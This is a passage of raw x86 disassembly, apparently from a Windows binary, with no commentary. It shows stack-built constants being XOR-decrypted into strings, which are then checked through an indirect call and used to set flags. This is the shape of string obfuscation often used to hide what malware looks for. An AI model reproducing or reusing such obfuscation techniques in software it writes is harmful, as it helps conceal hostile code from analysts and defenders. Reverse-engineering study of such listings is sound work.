mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd98], eax
mov dword [ebp - 0xd94], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd90], eax
mov dword [ebp - 0xd8c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd88], eax
mov dword [ebp - 0xd84], ecx
mov dword [ebp - 0x30], 0xba666e79
mov dword [ebp - 0x2c], 0xe2502b6d
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd80], eax
mov dword [ebp - 0xd7c], ecx
mov dword [ebp - 0x30], 0xc81d154a
mov dword [ebp - 0x2c], 0xe38070cc
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x1180]
vpxor ymm0, ymm0, ymmword [ebp - 0xda0]
mov dword [ebp - 0xd78], eax
lea eax, [ebp - 0x1410]
mov dword [ebp - 0xd74], ecx
mov ecx, eax
vmovdqa ymmword [ebp - 0x1180], ymm0
vmovaps xmm1, xmmword [ebp - 0x1160]
vpxor xmm1, xmm1, xmmword [ebp - 0xd80]
vmovaps xmmword [ebp - 0x1160], xmm1
mov dword [ebp - 0x24], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x1180]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46bcb5
sub ecx, edx
lea eax, [ebp - 0x1180]
push ecx
push eax
lea ecx, [ebp - 0x1410]
call fcn.00410090
mov byte [ebp - 4], 0xe5
mov dword [ebp - 0x30], 0x40bf8574
mov dword [ebp - 0x2c], 0xe601bfe0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x99c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x410]
mov dword [ebp - 0x998], eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x994], ecx
pxor xmm1, xmmword [ebp - 0x9a0]
push eax
movaps xmmword [ebp - 0x410], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xe6
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46bd85
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x1410]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x15f0]
call fcn.0040fca0
mov esi, dword [ebp - 0x54]
or esi, 0x400
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xe8
lea ecx, [ebp - 0x1410]
call fcn.0040fe10
mov byte [ebp - 4], 0xe7
lea eax, [ebp - 0x1410]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xe7
lea ecx, [ebp - 0x15f0]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46be33
sub esp, 0x18
lea eax, [ebp - 0x1380]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xeb
sub esp, 0x18
lea eax, [ebp - 0x15f0]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xec
mov byte [ebp - 4], 0xe7
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46be33
mov byte [ebp - 0x31], 1
jmp 0x46be45
push 0
mov dl, 1
lea ecx, [ebp - 0x1380]
call fcn.0041a270
add esp, 4
and esi, 0xfffffbff
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xed
lea ecx, [ebp - 0x15f0]
call fcn.0040fe10
mov byte [ebp - 4], 0xe2
lea eax, [ebp - 0x15f0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xe2
mov dword [ebp - 0x30], 0x61839069
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 0x922e8ecc
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9ac], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x420]
mov dword [ebp - 0x9a8], eax
lea eax, [ebp - 0x420]
mov dword [ebp - 0x9a4], ecx
lea ecx, [ebp - 0x1368]
pxor xmm1, xmmword [ebp - 0x9b0]
push eax
movaps xmmword [ebp - 0x420], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xf0
lea ecx, [ebp - 0x1368]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46c22c
mov dword [ebp - 0x30], 0x61839069
mov dword [ebp - 0x2c], 0x922e8ecc
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x30], 0x1577061a
mov dword [ebp - 0x2c], 0xa60f6051
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x30], 0x2ecdc473
mov dword [ebp - 0x2c], 0xe5778d30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1020], eax
mov dword [ebp - 0x101c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1018], eax
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1010], eax
mov dword [ebp - 0x100c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x700]
mov dword [ebp - 0x1008], eax
lea eax, [ebp - 0x1218]
mov dword [ebp - 0x1004], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0x1020]
vmovdqa ymmword [ebp - 0x700], ymm0
mov dword [ebp - 0x24], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0xf2
lea ecx, [ebp - 0x700]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c073
sub ecx, edx
lea eax, [ebp - 0x700]
push ecx
push eax
lea ecx, [ebp - 0x1218]
call fcn.00410090
mov byte [ebp - 4], 0xf3
mov dword [ebp - 0x30], 0x40bf8574
mov dword [ebp - 0x2c], 0xe601bfe0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9bc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x9b8], eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x9b4], ecx
pxor xmm1, xmmword [ebp - 0x9c0]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xf4
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c143
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x1218]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x1608]
call fcn.0040fca0
mov esi, dword [ebp - 0x54]
or esi, 0x800
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xf6
lea ecx, [ebp - 0x1218]
call fcn.0040fe10
mov byte [ebp - 4], 0xf5
lea eax, [ebp - 0x1218]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xf5
lea ecx, [ebp - 0x1608]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46c1f1
sub esp, 0x18
lea eax, [ebp - 0x1368]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xf9
sub esp, 0x18
lea eax, [ebp - 0x1608]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xfa
mov byte [ebp - 4], 0xf5
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46c1f1
mov byte [ebp - 0x31], 1
jmp 0x46c203
push 0
mov dl, 1
lea ecx, [ebp - 0x1368]
call fcn.0041a270
add esp, 4
and esi, 0xfffff7ff
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xfb
lea ecx, [ebp - 0x1608]
call fcn.0040fe10
mov byte [ebp - 4], 0xf0
lea eax, [ebp - 0x1608]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xf0
mov dword [ebp - 0x30], 0x55ac9c69
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9cc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x9c8], eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x9c4], ecx
lea ecx, [ebp - 0x1350]
pxor xmm1, xmmword [ebp - 0x9d0]
push eax
movaps xmmword [ebp - 0x440], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xfe
lea ecx, [ebp - 0x1350]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46c575
mov dword [ebp - 0x30], 0x55ac9c69
mov dword [ebp - 0x2c], 0xd670dbfd
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x30], 0x76184a77
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9dc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x9d8], eax
lea eax, [ebp - 0x12a8]
mov dword [ebp - 0x9d4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x9e0]
movaps xmmword [ebp - 0x160], xmm1
mov dword [ebp - 0x24], eax
call fcn.00410150
mov dword [ebp - 4], 0x100
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c3b0
sub ecx, edx
lea eax, [ebp - 0x160]
push ecx
push eax
lea ecx, [ebp - 0x12a8]
call fcn.00410090
mov dword [ebp - 4], 0x101
mov dword [ebp - 0x30], 0x40bf8574
mov dword [ebp - 0x2c], 0xe601bfe0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9ec], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x9e8], eax
lea eax, [ebp - 0x450]
mov dword [ebp - 0x9e4], ecx
pxor xmm1, xmmword [ebp - 0x9f0]
push eax
movaps xmmword [ebp - 0x450], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 2
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c483
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x12a8]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x1620]
call fcn.0040fca0
mov esi, dword [ebp - 0x54]
or esi, 0x80
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x12a8]
call fcn.0040fe10
mov byte [ebp - 4], 3
lea eax, [ebp - 0x12a8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1620]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46c531
sub esp, 0x18
lea eax, [ebp - 0x1350]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 7
sub esp, 0x18
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 8
mov byte [ebp - 4], 3
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46c531
mov byte [ebp - 0x31], 1
jmp 0x46c543
push 0
mov dl, 1
lea ecx, [ebp - 0x1350]
call fcn.0041a270
add esp, 4
and esi, 0xffffff7f
mov dword [ebp - 0x54], esi
mov dword [ebp - 4], 0x109
lea ecx, [ebp - 0x1620]
call fcn.0040fe10
mov dword [ebp - 4], 0xfe
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xfe
mov dword [ebp - 0x30], 0x63868669
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 0xe62c8acf
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa00], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x9fc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x9f8], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x9f4], ecx
lea ecx, [ebp - 0x104]
pxor xmm1, xmmword [ebp - 0xa00]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.004b0150
add esp, 4
mov dword [ebp - 4], 0x10c
lea ecx, [ebp - 0x104]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46d763
mov dword [ebp - 0x30], 0x63868669
mov dword [ebp - 0x2c], 0xe62c8acf
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa0c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0xa08], eax
lea eax, [ebp - 0x12d8]
mov dword [ebp - 0xa04], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0xa10]
mov byte [ebp - 0x41], 0
movaps xmmword [ebp - 0x170], xmm1
mov dword [ebp - 0x24], eax
call fcn.00410150
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x170]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c700
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x12d8]
call fcn.00410090
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x30], 0x40bf8574
mov dword [ebp - 0x2c], 0xe601bfe0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa20], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa1c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0xa18], eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0xa14], ecx
pxor xmm1, xmmword [ebp - 0xa20]
push eax
movaps xmmword [ebp - 0x470], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x10
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c7d0
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x12d8]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x630]
call fcn.0040fca0
or dword [ebp - 0x54], 0x100
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x12d8]
call fcn.0040fe10
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x12d8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x630]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46d72a
mov dword [ebp - 0x30], 0x67809969
lea edx, [ebp - 0x630]
mov dword [ebp - 0x2c], 0xb56087c0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x30], 0x176a2532
mov dword [ebp - 0x2c], 0xf52f6957
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa30], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa2c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0xa28], eax
lea eax, [ebp - 0x480]
mov dword [ebp - 0xa24], ecx
lea ecx, [ebp - 0x1698]
pxor xmm1, xmmword [ebp - 0xa30]
push eax
movaps xmmword [ebp - 0x480], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1698]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46c9d1
mov dword [ebp - 0x30], 0x67809969
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0xb56087c0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x30], 0x176a2532
mov dword [ebp - 0x2c], 0xf52f6957
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa3c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x490]
mov dword [ebp - 0xa38], eax
lea eax, [ebp - 0x490]
mov dword [ebp - 0xa34], ecx
lea ecx, [ebp - 0x19c8]
pxor xmm1, xmmword [ebp - 0xa40]
push eax
movaps xmmword [ebp - 0x490], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x16
mov ecx, eax
or dword [ebp - 0x48], 2
push 0
call fcn.004aba80
push eax
call edi
mov byte [ebp - 0x42], 1
test eax, eax
jne 0x46c9d5
mov byte [ebp - 0x42], 0
mov dword [ebp - 4], 0x115
mov eax, dword [ebp - 0x48]
test al, 2
je 0x46c9f4
and eax, 0xfffffffd
lea ecx, [ebp - 0x19c8]
mov dword [ebp - 0x48], eax
call fcn.0040fc90
cmp byte [ebp - 0x42], 0
je 0x46cae4
mov dword [ebp - 0x30], 0x67809969
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0xb56087c0
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x30], 0x176a2532
mov dword [ebp - 0x2c], 0xf52f6957
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa50], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa4c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4a0]
mov dword [ebp - 0xa48], eax
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0xa44], ecx
mov ecx, esp
pxor xmm1, xmmword [ebp - 0xa50]
mov dword [ebp - 0x24], esp
push eax
movaps xmmword [ebp - 0x4a0], xmm1
call fcn.004b0150
mov byte [ebp - 4], 0x17
sub esp, 0x14
lea eax, [ebp - 0x1698]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x15
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46cae4
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x30], 0x778a8669
lea edx, [ebp - 0x630]
mov dword [ebp - 0x2c], 0x882f82d2
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x30], 0x196c1966
mov dword [ebp - 0x2c], 0x90486d42
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x7b4], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1040], eax
mov dword [ebp - 0x103c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1034], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x7c0]
mov dword [ebp - 0x1028], eax
lea eax, [ebp - 0x7c0]
mov dword [ebp - 0x1024], ecx
lea ecx, [ebp - 0x1680]
vpxor ymm0, ymm0, ymmword [ebp - 0x1040]
vmovdqa ymmword [ebp - 0x7c0], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1680]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46cd8a
mov dword [ebp - 0x30], 0x778a8669
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0x882f82d2
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], ecx
mov dword [ebp - 0x30], 0x196c1966
